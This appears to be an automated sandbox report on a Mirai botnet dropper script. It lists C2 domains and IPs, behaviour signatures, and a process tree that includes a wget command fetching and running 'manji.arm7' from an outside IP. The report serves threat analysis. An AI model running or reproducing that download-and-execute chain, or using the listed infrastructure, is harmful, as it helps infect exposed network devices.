Analysis
- max time kernel
143s - max time network
144s - platform
debian-9_armhf - resource
debian9-armhf-20260126-en - resource tags
- submitted
11/05/2026, 22:40
General
- Target linux.sh
- Size 2KB
- Sample260511-2lnqlabs8w
- SHA256 337e7d9d9b05864e8898ff5dbac782bfa349638490d32b5e0716765d925c2df7
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
cnc.504.su
-
89.190.156.145
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Traces itself 18 IoCs
Traces itself to prevent debugging attempts
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/linux.sh/tmp/linux.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -s2⤵
-
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f manji.arm72⤵
-
-
/usr/bin/wgetwget http://156.238.242.196/manji.arm72⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 manji.arm72⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 2222⤵
-
-
/tmp/manji.arm7./manji.arm71⤵
- Traces itself
- Changes its process name
- Checks CPU configuration
- Reads runtime system information
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
manji.arm7